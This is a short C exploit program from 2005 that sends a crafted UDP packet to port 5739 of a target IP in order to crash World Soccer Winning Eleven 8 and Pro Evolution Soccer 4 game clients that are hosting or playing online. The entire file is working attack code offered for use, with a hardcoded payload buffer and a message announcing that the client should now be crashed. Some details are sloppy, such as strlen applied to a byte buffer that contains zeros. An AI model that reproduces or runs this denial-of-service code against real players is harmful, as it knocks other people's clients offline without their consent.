/**
* file: we8_exploit.c
*
* coder and founder: cantona <cantona@softhome.net>
* date: 2005-04-13
*
* To crash the WE client by sending a message
* to the client which is hosting or in online game.
*
* (Works for World Soccer Winning Eleven 8 International and
* Pro Evolution Soccer 4)
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
int main(int argv, char **argc)
{
unsigned int fd;
struct sockaddr_in srv;
int nbytes;
unsigned char buf[] = {
0xe7, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xee, 0x02, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00,
0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x21, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x4e, 0x65, 0x77, 0x55, 0x73, 0x65, 0x72, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
if (argv != 2) {
fprintf(stdout, "%s <ip>\n", argc[0]);
return -1;
}
fd = socket(AF_INET, SOCK_DGRAM, 0);
srv.sin_family = AF_INET;
srv.sin_port = htons(5739);
srv.sin_addr.s_addr = inet_addr(argc[1]); /* target ip */
nbytes = sendto(fd, buf, strlen(buf), 0,
(struct sockaddr *) &srv, sizeof(srv));
if (nbytes < 0) {
perror("sendto fail");
exit(-1);
} else {
fprintf(stdout, "msg sent, the we client should be crashed!\n", buf);
}
return 0;
}